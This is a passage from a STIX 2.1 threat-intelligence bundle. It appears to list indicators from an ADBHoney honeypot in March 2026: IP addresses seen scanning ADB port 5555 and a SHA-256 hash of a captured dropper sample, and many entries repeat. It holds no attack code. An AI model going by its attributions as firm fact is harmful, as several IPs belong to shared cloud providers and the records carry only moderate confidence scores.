      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T13:00:03.000Z",
      "valid_until": "2026-04-09T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 13,
          "first_seen": "2026-03-08T12:34:14.000Z",
          "last_seen": "2026-03-09T15:32:30.797Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PH"
          ],
          "asn": [
            "142002"
          ],
          "org": [
            "Scloud Pte Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T13:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=PH; asn=142002; asn_org=Scloud Pte Ltd; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=13 | first_seen=2026-03-08T12:34:14.000Z | last_seen=2026-03-09T15:32:30.797Z | ports=5555 | cc=PH | asn=142002 | org=Scloud Pte Ltd",
      "id": "indicator--800b70ce-9151-43bd-89de-321e28f62964",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.154.210.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T13:00:04.000Z",
      "valid_until": "2026-04-09T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 13,
          "first_seen": "2026-03-08T12:34:14.000Z",
          "last_seen": "2026-03-09T15:32:30.797Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PH"
          ],
          "asn": [
            "142002"
          ],
          "org": [
            "Scloud Pte Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-08T13:59:34.000Z | last_seen=2026-03-08T14:09:44.589Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T14:00:03.000Z",
      "valid_until": "2026-04-09T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-08T13:59:34.000Z",
          "last_seen": "2026-03-08T14:09:44.589Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-08T13:58:04.000Z | last_seen=2026-03-08T13:59:11.501Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--b0705290-1c18-49de-9422-f9de069480d0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T14:00:03.000Z",
      "valid_until": "2026-04-09T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-08T13:58:04.000Z",
          "last_seen": "2026-03-08T13:59:11.501Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CA; asn=209334; asn_org=Modat B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-08T13:17:47.000Z | last_seen=2026-03-08T13:27:51.309Z | ports=5555 | cc=CA | asn=209334 | org=Modat B.V.",
      "id": "indicator--87f696c0-d7fb-4a22-98ff-baad3862f1fe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T14:00:03.000Z",
      "valid_until": "2026-04-09T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-08T13:17:47.000Z",
          "last_seen": "2026-03-08T13:27:51.309Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "209334"
          ],
          "org": [
            "Modat B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-08T13:59:34.000Z | last_seen=2026-03-08T14:09:44.589Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T14:00:03.000Z",
      "valid_until": "2026-04-09T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-08T13:59:34.000Z",
          "last_seen": "2026-03-08T14:09:44.589Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-08T13:58:04.000Z | last_seen=2026-03-08T13:59:11.501Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--b0705290-1c18-49de-9422-f9de069480d0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T14:00:03.000Z",
      "valid_until": "2026-04-09T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-08T13:58:04.000Z",
          "last_seen": "2026-03-08T13:59:11.501Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=CA; asn=209334; asn_org=Modat B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-08T13:17:47.000Z | last_seen=2026-03-08T13:27:51.309Z | ports=5555 | cc=CA | asn=209334 | org=Modat B.V.",
      "id": "indicator--87f696c0-d7fb-4a22-98ff-baad3862f1fe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.217.149.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T14:00:03.000Z",
      "valid_until": "2026-04-09T14:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-08T13:17:47.000Z",
          "last_seen": "2026-03-08T13:27:51.309Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "209334"
          ],
          "org": [
            "Modat B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-08T14:47:47.000Z | last_seen=2026-03-08T14:48:55.481Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--64f512f2-12ad-44a9-beab-93976a275324",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.199.64.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T15:00:03.000Z",
      "valid_until": "2026-04-09T15:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-08T14:47:47.000Z",
          "last_seen": "2026-03-08T14:48:55.481Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T15:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/aaed755224de56e478e6d5da063b810a1584c9e65bd1981785663f9d15a7c19b.raw; last_seen=2026-03-08T14:55:05.742Z",
      "id": "indicator--528a579a-1c4e-4e83-abf4-7386e18615ee",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'aaed755224de56e478e6d5da063b810a1584c9e65bd1981785663f9d15a7c19b']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T15:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-08T14:47:47.000Z | last_seen=2026-03-08T14:48:55.481Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--64f512f2-12ad-44a9-beab-93976a275324",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.199.64.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T15:00:03.000Z",
      "valid_until": "2026-04-09T15:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-08T14:47:47.000Z",
          "last_seen": "2026-03-08T14:48:55.481Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T15:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/aaed755224de56e478e6d5da063b810a1584c9e65bd1981785663f9d15a7c19b.raw; last_seen=2026-03-08T14:55:05.742Z",
      "id": "indicator--528a579a-1c4e-4e83-abf4-7386e18615ee",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = 'aaed755224de56e478e6d5da063b810a1584c9e65bd1981785663f9d15a7c19b']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T15:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-08T15:47:32.000Z | last_seen=2026-03-08T15:48:35.778Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--4e13e172-542e-44cc-8ad8-f239507216b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '173.255.223.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T16:00:03.000Z",
      "valid_until": "2026-04-09T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-08T15:47:32.000Z",
          "last_seen": "2026-03-08T15:48:35.778Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-08T15:47:28.000Z | last_seen=2026-03-08T15:48:30.770Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--1d9c109e-277b-42f3-be7e-b6933aa5731f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.79.114.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T16:00:03.000Z",
      "valid_until": "2026-04-09T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-08T15:47:28.000Z",
          "last_seen": "2026-03-08T15:48:30.770Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-08T15:47:32.000Z | last_seen=2026-03-08T15:48:35.778Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--4e13e172-542e-44cc-8ad8-f239507216b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '173.255.223.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T16:00:03.000Z",
      "valid_until": "2026-04-09T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-08T15:47:32.000Z",
          "last_seen": "2026-03-08T15:48:35.778Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-08T15:47:28.000Z | last_seen=2026-03-08T15:48:30.770Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--1d9c109e-277b-42f3-be7e-b6933aa5731f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.79.114.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T16:00:03.000Z",
      "valid_until": "2026-04-09T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-08T15:47:28.000Z",
          "last_seen": "2026-03-08T15:48:30.770Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=CH; asn=42624; asn_org=Global-Data System IT Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-08T17:38:40.000Z | last_seen=2026-03-08T17:48:56.937Z | ports=5555 | cc=CH | asn=42624 | org=Global-Data System IT Corporation",
      "id": "indicator--45a2c687-8c21-4fb1-b64a-37d9aaf716aa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.196.11.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-08T18:00:02.000Z",
      "valid_until": "2026-04-09T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-08T17:38:40.000Z",
          "last_seen": "2026-03-08T17:48:56.937Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CH"
          ],
          "asn": [
            "42624"
          ],
          "org": [
            "Global-Data System IT Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-08T18:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=CH; asn=42624; asn_org=Global-Data System IT Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-08T17:38:40.000Z | last_seen=2026-03-08T17:48:56.937Z | ports=5555 | cc=CH | asn=42624 | org=Global-Data System IT Corporation",
      "id": "indicator--45a2c687-8c21-4fb1-b64a-37d9aaf716aa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
